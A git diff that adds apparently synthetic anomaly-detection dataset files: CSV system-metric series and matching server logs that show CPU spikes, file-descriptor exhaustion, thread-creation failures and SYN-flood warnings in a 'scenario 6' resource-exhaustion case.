+2025-08-15T10:05:45Z,82.38,27.85,78.92,0.76,0.63 +2025-08-15T10:05:50Z,82.25,33.99,87.86,0.59,0.43 +2025-08-15T10:05:55Z,82.18,20.78,81.83,0.28,0.53 +2025-08-15T10:06:00Z,85.52,26.48,82.71,0.19,0.29 +2025-08-15T10:06:05Z,86.46,27.72,76.38,0.17,0.4 +2025-08-15T10:06:10Z,86.6,32.07,83.09,0.47,0.52 +2025-08-15T10:06:15Z,87.49,31.69,89.58,0.59,0.34 +2025-08-15T10:06:20Z,87.59,23.41,95.59,0.11,0.6 +2025-08-15T10:06:25Z,89.2,26.07,87.11,0.23,0.53 +2025-08-15T10:06:30Z,86.73,20.72,79.35,0.45,0.44 +2025-08-15T10:06:35Z,87.75,26.43,90.04,0.7,0.74 +2025-08-15T10:06:40Z,90.04,34.88,78.91,0.7,0.21 +2025-08-15T10:06:45Z,88.59,23.31,75.2,0.28,0.21 +2025-08-15T10:06:50Z,90.35,32.02,81.34,0.23,0.7 +2025-08-15T10:06:55Z,89.7,34.16,80.55,0.52,0.63 +2025-08-15T10:07:00Z,93.38,29.51,84.92,0.65,0.51 +2025-08-15T10:07:05Z,92.4,29.88,92.68,0.35,0.66 +2025-08-15T10:07:10Z,92.7,23.02,88.7,0.39,0.35 +2025-08-15T10:07:15Z,94.27,20.81,93.48,0.51,0.36 +2025-08-15T10:07:20Z,94.32,20.28,92.5,0.42,0.76 +2025-08-15T10:07:25Z,94.7,20.58,81.91,0.3,0.37 diff --git a/anom_dataset/scenario_6/anom_6_21.log b/anom_dataset/scenario_6/anom_6_21.log new file mode 100644 index 0000000000000000000000000000000000000000..0fcb560002b1fe6a551013abdccdddd8a93a67f5 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_21.log @@ -0,0 +1,53 @@ +Aug 15 10:00:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:00:40 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:01:05 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 10:01:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:01:20 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:02:00 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:02:10 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 10:02:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:02:40 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:03:15 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 10:03:20 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:03:45 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:04:00 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:04:05 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:04:15 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:04:20 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 10:04:25 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:04:30 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:04:35 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:04:40 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:04:45 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:05:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:05:15 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:05:20 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:05:20 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:05:25 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 10:05:25 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:05:30 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:05:35 kernel: [12345.678] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Aug 15 10:05:35 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:05:40 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:05:50 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:05:55 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:05:55 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:00 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:06:00 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:05 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:06:15 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:06:15 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:20 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:25 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:06:30 CRON[21352]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 10:06:30 data-processor[15241]: ERROR Failed to accept new connection: java.net.SocketException: Too many open files +Aug 15 10:06:30 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:40 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:06:40 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:45 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:50 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:55 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:15 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:20 web-server[15241]: INFO 172.16.0.5 "GET /health" 200 +Aug 15 10:07:20 data-processor[15241]: ERROR main-loop: java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_22.csv b/anom_dataset/scenario_6/anom_6_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..e5334887151291d4d207076c65cbd58d39d49723 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,22.722953306216628,35.20829563683042,26.901732993250242,1.1622322994549263,1.285948345766296 +2025-08-15T10:00:05Z,19.999377737009148,34.77280655725862,20.061789566083892,0.849468249404193,1.362992534204065 +2025-08-15T10:00:10Z,19.425831867112727,35.12825775619179,24.71792112784658,1.1567223657799426,1.2312549117802498 +2025-08-15T10:00:15Z,16.846979093393873,35.9989025380471,24.64302880377799,1.122276804867426,1.217194518576592 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INFO routine sync completed for pod web-app +Aug 15 10:00:00 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:00:35 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:10 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:45 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:02:20 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:02:55 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:03:30 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:04:05 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:04:10 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:04:20 app-server[20122]: ERROR failed to create new thread: Resource temporarily unavailable +Aug 15 10:04:40 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:04:50 kernel: pid_max reached, cannot allocate new process +Aug 15 10:04:55 nginx[8080]: WARN upstream timed out while connecting to upstream, client: 10.1.2.3 +Aug 15 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:00 app-server[21787]: ERROR failed to create new thread: Resource temporarily unavailable +Aug 15 10:05:05 kernel: pid_max reached, cannot allocate new process +Aug 15 10:05:10 app-server[20344]: ERROR accept: too many open files in system +Aug 15 10:05:15 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:05:20 app-server[21070]: ERROR accept: too many open files in system +Aug 15 10:05:35 nginx[8080]: WARN upstream timed out while connecting to upstream, client: 10.1.2.3 +Aug 15 10:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:50 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:06:10 kernel: pid_max reached, cannot allocate new process +Aug 15 10:06:20 app-server[20782]: ERROR accept: too many open files in system +Aug 15 10:06:25 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:06:30 app-server[20937]: ERROR accept: too many open files in system +Aug 15 10:06:35 app-server[20633]: ERROR failed to create new thread: Resource temporarily unavailable +Aug 15 10:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:06:45 app-server[20731]: ERROR accept: too many open files in system +Aug 15 10:06:55 kernel: pid_max reached, cannot allocate new process +Aug 15 10:07:00 api-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:07:10 app-server[21244]: ERROR accept: too many open files in system +Aug 15 10:07:20 app-server[20052]: ERROR failed to create new thread: Resource temporarily unavailable diff --git a/anom_dataset/scenario_6/anom_6_23.csv b/anom_dataset/scenario_6/anom_6_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..5890453b384337d82b419aa47ffe64a354a64d71 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,17.27,42.09,35.76,1.11,0.47 +2025-08-15T10:00:05Z,13.41,38.42,26.5,1.0,0.67 +2025-08-15T10:00:10Z,15.22,41.05,19.57,1.13,0.76 +2025-08-15T10:00:15Z,16.66,39.77,27.08,1.54,1.39 +2025-08-15T10:00:20Z,10.56,36.33,19.17,1.34,0.8 +2025-08-15T10:00:25Z,10.5,41.59,23.71,0.86,1.13 +2025-08-15T10:00:30Z,14.58,39.32,20.34,1.33,1.08 +2025-08-15T10:00:35Z,12.91,38.12,26.32,1.26,0.93 +2025-08-15T10:00:40Z,13.72,40.69,19.51,0.9,0.58 +2025-08-15T10:00:45Z,13.65,44.52,24.43,1.14,0.81 +2025-08-15T10:00:50Z,15.83,39.55,23.01,1.31,0.46 +2025-08-15T10:00:55Z,15.15,43.99,28.67,1.54,0.75 +2025-08-15T10:01:00Z,15.41,38.08,22.3,1.34,0.66 +2025-08-15T10:01:05Z,12.06,39.01,25.65,0.98,0.89 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/dev/null +++ b/anom_dataset/scenario_6/anom_6_23.log @@ -0,0 +1,38 @@ +Aug 15 10:00:15 kernel: [ 1755252015.12345] audit: type=1400 audit(1678886400.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=12900 comm="sshd" +Aug 15 10:00:30 systemd[1]: Started Session 7 of user webadmin. +Aug 15 10:00:50 systemd[1]: Started Session 6 of user webadmin. +Aug 15 10:01:00 sshd[22476]: Accepted publickey for webadmin from 10.0.2.5 port 58582 ssh2 +Aug 15 10:01:10 kernel: [ 1755252070.12345] audit: type=1400 audit(1678886400.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=12301 comm="sshd" +Aug 15 10:01:30 CRON[2372]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 10:01:35 nginx[19995]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:01:45 kernel: [ 1755252105.12345] audit: type=1400 audit(1678886400.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=22027 comm="sshd" +Aug 15 10:02:05 CRON[11017]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 10:02:25 kubelet[16217]: INFO Liveness probe succeeded for pod api-gateway-abcdef +Aug 15 10:02:45 nginx[14224]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:03:00 nginx[5274]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:03:55 kubelet[10802]: INFO Liveness probe succeeded for pod api-gateway-abcdef +Aug 15 10:04:30 CRON[8309]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 10:04:35 sshd[4042]: Accepted publickey for webadmin from 10.0.2.5 port 58963 ssh2 +Aug 15 10:05:05 kernel: [ 1755252305.12345] audit: type=1400 audit(1678886400.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=1022 comm="sshd" +Aug 15 10:05:15 sshd[17483]: Accepted publickey for webadmin from 10.0.2.5 port 41752 ssh2 +Aug 15 10:05:20 kernel: [ 1755252320.12345] audit: type=1400 audit(1678886400.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=8352 comm="sshd" +Aug 15 10:05:50 systemd[1]: Started Session 7 of user webadmin. +Aug 15 10:05:55 systemd[1]: Started Session 12 of user webadmin. +Aug 15 10:06:00 app[1335]: ERROR - Failed to accept new connection: OS limit reached +Aug 15 10:06:10 nginx[16055]: *257 connect() failed (11: Resource temporarily unavailable) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: "GET /data HTTP/1.1" +Aug 15 10:06:15 ERROR: Exception when creating new thread: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:20 app[12581]: ERROR - Failed to accept new connection: OS limit reached +Aug 15 10:06:25 app[14529]: ERROR - Failed to accept new connection: OS limit reached +Aug 15 10:06:30 java.net.SocketException: Too many open files +Aug 15 10:06:35 nginx[7256]: *548 connect() failed (11: Resource temporarily unavailable) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: "GET /data HTTP/1.1" +Aug 15 10:06:40 CRON[14005]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 10:06:40 app[15259]: WARN - Connection pool exhausted. Timeout waiting for connection. +Aug 15 10:06:45 CRON[17707]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 10:06:45 nginx[13030]: *590 connect() failed (11: Resource temporarily unavailable) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: "GET /data HTTP/1.1" +Aug 15 10:06:55 kernel: [ 1755252415.98765] pid: 17980, comm: java, top event: (1) cycles, pct: 99, period: 10000, summarized: 1000 events +Aug 15 10:07:00 kernel: [ 1755252420.98765] pid: 7107, comm: java, top event: (1) cycles, pct: 99, period: 10000, summarized: 1000 events +Aug 15 10:07:05 ERROR: Exception when creating new thread: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:10 ERROR: Exception when creating new thread: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:10 kernel: [ 1755252430.12345] audit: type=1400 audit(1678886400.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=6335 comm="sshd" +Aug 15 10:07:25 kernel: [ 1755252445.98765] pid: 15739, comm: java, top event: (1) cycles, pct: 99, period: 10000, summarized: 1000 events +Aug 15 10:07:25 kubelet[21870]: INFO Successfully probed container health-monitor diff --git a/anom_dataset/scenario_6/anom_6_24.csv b/anom_dataset/scenario_6/anom_6_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..4931703c8bcbdb5b1d853413ad76ecf3cf034110 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,19.03,42.37,23.12,0.89,1.3 +2025-07-15T14:00:05Z,15.85,41.87,24.72,1.06,1.06 +2025-07-15T14:00:10Z,15.0,41.92,24.38,1.02,1.34 +2025-07-15T14:00:15Z,15.42,40.48,20.61,0.89,1.41 +2025-07-15T14:00:20Z,23.43,40.98,28.99,1.14,1.33 +2025-07-15T14:00:25Z,18.98,40.78,26.04,0.94,1.17 +2025-07-15T14:00:30Z,21.56,42.99,20.5,1.05,1.02 +2025-07-15T14:00:35Z,24.92,40.66,23.85,1.11,1.29 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+2025-07-15T14:07:20Z,96.96,82.78,29.46,0.27,0.21 +2025-07-15T14:07:25Z,86.88,83.18,20.93,0.29,0.49 diff --git a/anom_dataset/scenario_6/anom_6_24.log b/anom_dataset/scenario_6/anom_6_24.log new file mode 100644 index 0000000000000000000000000000000000000000..47523806d9b590fe7b3505d7736d309683f4cb37 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_24.log @@ -0,0 +1,28 @@ +Jul 15 14:00:00 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 15 14:00:00 systemd[1]: Started Session 19 of user app-user. +Jul 15 14:00:00 web-server[15519]: INFO Connection accepted from 192.168.162.194 +Jul 15 14:00:40 web-server[15519]: INFO Connection accepted from 192.168.238.19 +Jul 15 14:01:00 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 15 14:01:20 web-server[15519]: INFO Connection accepted from 192.168.114.143 +Jul 15 14:01:40 systemd[1]: Started Session 20 of user app-user. +Jul 15 14:02:00 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 15 14:02:00 web-server[15519]: INFO Connection accepted from 192.168.103.129 +Jul 15 14:02:40 web-server[15519]: INFO Connection accepted from 192.168.2.101 +Jul 15 14:03:00 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 15 14:03:45 web-server[15519]: INFO Processing GET /api/v1/data request +Jul 15 14:04:05 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:04:25 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:04:45 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:05:00 web-server[15519]: INFO Processing GET /api/v1/data request +Jul 15 14:05:05 web-server[15519]: ERROR Accept failed: java.io.IOException: Too many open files +Jul 15 14:05:25 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:05:45 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:06:05 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:06:15 web-server[15519]: INFO Processing GET /api/v1/data request +Jul 15 14:06:15 web-server[15519]: WARN Could not accept new connection: resource temporarily unavailable +Jul 15 14:06:25 web-server[15519]: ERROR Accept failed: java.io.IOException: Too many open files +Jul 15 14:06:40 web-server[15519]: WARN Could not accept new connection: resource temporarily unavailable +Jul 15 14:06:45 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:07:05 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:07:05 web-server[15519]: WARN Could not accept new connection: resource temporarily unavailable +Jul 15 14:07:25 web-server[15519]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_25.csv b/anom_dataset/scenario_6/anom_6_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..136c1a058724ac44adc0317dfd05a33780d94474 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,15.05,32.54,33.14,1.44,1.33 +2025-08-15T10:00:05Z,14.5,36.69,22.63,1.62,1.58 +2025-08-15T10:00:10Z,17.61,32.82,30.28,1.55,1.04 +2025-08-15T10:00:15Z,12.62,32.44,27.88,1.54,1.32 +2025-08-15T10:00:20Z,13.7,32.95,17.55,1.42,1.1 +2025-08-15T10:00:25Z,22.48,31.35,18.77,1.49,1.08 +2025-08-15T10:00:30Z,11.99,33.25,23.45,1.58,1.19 +2025-08-15T10:00:35Z,15.47,35.0,24.49,1.32,0.97 +2025-08-15T10:00:40Z,11.27,32.6,21.59,1.75,1.37 +2025-08-15T10:00:45Z,13.54,34.63,26.09,1.88,0.97 +2025-08-15T10:00:50Z,15.16,33.13,20.11,1.85,1.23 +2025-08-15T10:00:55Z,16.57,35.2,21.33,1.58,1.1 +2025-08-15T10:01:00Z,19.19,34.89,26.24,1.13,1.12 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0000000000000000000000000000000000000000..dd7530a9c0bad23787e77e5ae84fcc8ac7d5405f --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_25.log @@ -0,0 +1,41 @@ +Aug 15 10:00:00 web-app-server[16924]: INFO nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:00:35 web-app-server[12208]: INFO sshd[19941]: Accepted publickey for user from 10.0.2.2 port 51234 ssh2 +Aug 15 10:01:10 web-app-server[10458]: INFO kubelet[2345]: INFO: Successfully probed container readiness +Aug 15 10:01:45 web-app-server[19643]: INFO kubelet[2345]: INFO: Successfully probed container readiness +Aug 15 10:02:20 web-app-server[10111]: INFO systemd[1]: Started Session 68 of user root. +Aug 15 10:02:55 web-app-server[17310]: INFO sshd[15964]: Accepted publickey for user from 10.0.2.2 port 51234 ssh2 +Aug 15 10:03:20 web-app-server[2718]: Thread count is approaching the limit: 598/4096 +Aug 15 10:03:30 web-app-server[17595]: INFO sshd[15812]: Accepted publickey for user from 10.0.2.2 port 51234 ssh2 +Aug 15 10:03:30 web-app-server[5489]: High number of open file descriptors: 1178/8192. +Aug 15 10:03:40 web-app-server[17136]: Thread count is approaching the limit: 673/4096 +Aug 15 10:03:45 web-app-server[4439]: High number of open file descriptors: 1310/8192. +Aug 15 10:04:00 web-app-server[1221]: Thread count is approaching the limit: 738/4096 +Aug 15 10:04:00 web-app-server[6201]: High number of open file descriptors: 1470/8192. +Aug 15 10:04:05 web-app-server[11370]: INFO kernel: [TIMESTAMP] nf_conntrack: 10240 conntrack entries flushed +Aug 15 10:04:15 web-app-server[5485]: High number of open file descriptors: 1651/8192. +Aug 15 10:04:20 web-app-server[7815]: Thread count is approaching the limit: 848/4096 +Aug 15 10:04:30 web-app-server[8349]: High number of open file descriptors: 1823/8192. +Aug 15 10:04:40 web-app-server[13557]: Thread count is approaching the limit: 909/4096 +Aug 15 10:04:40 web-app-server[19792]: INFO kubelet[2345]: INFO: Successfully probed container readiness +Aug 15 10:04:45 web-app-server[17688]: High number of open file descriptors: 1932/8192. +Aug 15 10:05:00 web-app-server[12648]: Thread count is approaching the limit: 1018/4096 +Aug 15 10:05:00 web-app-server[2721]: High number of open file descriptors: 2071/8192. +Aug 15 10:05:15 web-app-server[16356]: INFO nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:05:15 web-app-server[19254]: High number of open file descriptors: 2232/8192. +Aug 15 10:05:20 web-app-server[9180]: Thread count is approaching the limit: 1153/4096 +Aug 15 10:05:30 web-app-server[8631]: High number of open file descriptors: 2393/8192. +Aug 15 10:05:40 web-app-server[12176]: Thread count is approaching the limit: 1220/4096 +Aug 15 10:05:45 web-app-server[16647]: High number of open file descriptors: 2513/8192. +Aug 15 10:05:50 web-app-server[12217]: INFO systemd[1]: Started Session 94 of user root. +Aug 15 10:06:00 web-app-server[10635]: High number of open file descriptors: 2693/8192. +Aug 15 10:06:00 web-app-server[13002]: Thread count is approaching the limit: 1305/4096 +Aug 15 10:06:15 web-app-server[4259]: High number of open file descriptors: 2798/8192. +Aug 15 10:06:20 web-app-server[11433]: Thread count is approaching the limit: 1399/4096 +Aug 15 10:06:25 web-app-server[13942]: INFO sshd[15021]: Accepted publickey for user from 10.0.2.2 port 51234 ssh2 +Aug 15 10:06:30 web-app-server[2668]: High number of open file descriptors: 2992/8192. +Aug 15 10:06:40 web-app-server[1219]: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:06:50 web-app-server[1794]: java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 10:07:00 web-app-server[11818]: INFO sshd[19049]: Accepted publickey for user from 10.0.2.2 port 51234 ssh2 +Aug 15 10:07:00 web-app-server[18414]: Closing connection, unable to accept new clients due to resource limits. +Aug 15 10:07:10 web-app-server[7483]: fork: retry: Resource temporarily unavailable +Aug 15 10:07:20 web-app-server[13379]: java.io.IOException: Too many open files in system \ No newline at end of file diff --git a/anom_dataset/scenario_6/anom_6_26.csv b/anom_dataset/scenario_6/anom_6_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..e5eecd7ed8a2d9ec8a7cb6ddf6c984b459b5374f --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,14.06,41.05,28.46,0.83,1.32 +2025-07-03T11:00:05Z,17.19,38.82,29.81,1.12,1.27 +2025-07-03T11:00:10Z,15.65,39.05,26.58,0.9,1.61 +2025-07-03T11:00:15Z,12.3,40.23,19.93,0.91,1.38 +2025-07-03T11:00:20Z,7.54,43.81,18.89,1.02,0.78 +2025-07-03T11:00:25Z,17.74,41.39,29.11,0.94,1.29 +2025-07-03T11:00:30Z,18.38,39.96,29.18,0.66,1.25 +2025-07-03T11:00:35Z,10.46,43.33,18.11,1.16,1.43 +2025-07-03T11:00:40Z,19.92,40.06,20.27,0.78,1.36 +2025-07-03T11:00:45Z,13.71,39.41,30.46,0.81,1.07 +2025-07-03T11:00:50Z,22.89,38.06,25.37,0.79,1.17 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b/anom_dataset/scenario_6/anom_6_26.log new file mode 100644 index 0000000000000000000000000000000000000000..92225eac86544eab7efaf571c38a405aeb54ac88 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_26.log @@ -0,0 +1,42 @@ +Jul 03 11:00:00 CRON[430]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:00:05 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:55 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:01:45 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:01:55 CRON[4323]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:35 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:03:20 app-worker[2340]: WARN Resource allocation high, active_threads=600, open_files=1200 +Jul 03 11:03:25 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:03:40 app-worker[2344]: WARN Resource allocation high, active_threads=620, open_files=1240 +Jul 03 11:03:50 CRON[4346]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:04:00 app-worker[2348]: WARN Resource allocation high, active_threads=640, open_files=1280 +Jul 03 11:04:15 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:04:20 app-worker[2352]: WARN Resource allocation high, active_threads=660, open_files=1320 +Jul 03 11:04:40 app-worker[2356]: WARN Resource allocation high, active_threads=680, open_files=1360 +Jul 03 11:05:00 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:05:05 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:05:05 kernel: [11342.561] Can't create new thread for pid 1181 +Jul 03 11:05:10 web-app[1120]: ERROR Connection refused from 10.2.3.62:54321, shutting down connection +Jul 03 11:05:15 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:05:25 kernel: [11342.565] Can't create new thread for pid 1185 +Jul 03 11:05:30 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:05:35 web-app[1120]: ERROR Connection refused from 10.2.3.67:54321, shutting down connection +Jul 03 11:05:45 CRON[4369]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:05:45 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:05:45 kernel: [11342.569] Can't create new thread for pid 1189 +Jul 03 11:05:55 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:06:00 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:06:00 web-app[1120]: ERROR Connection refused from 10.2.3.72:54321, shutting down connection +Jul 03 11:06:05 kernel: [11342.573] Can't create new thread for pid 1193 +Jul 03 11:06:15 web-app[1120]: ERROR accept: Too many open files (24) 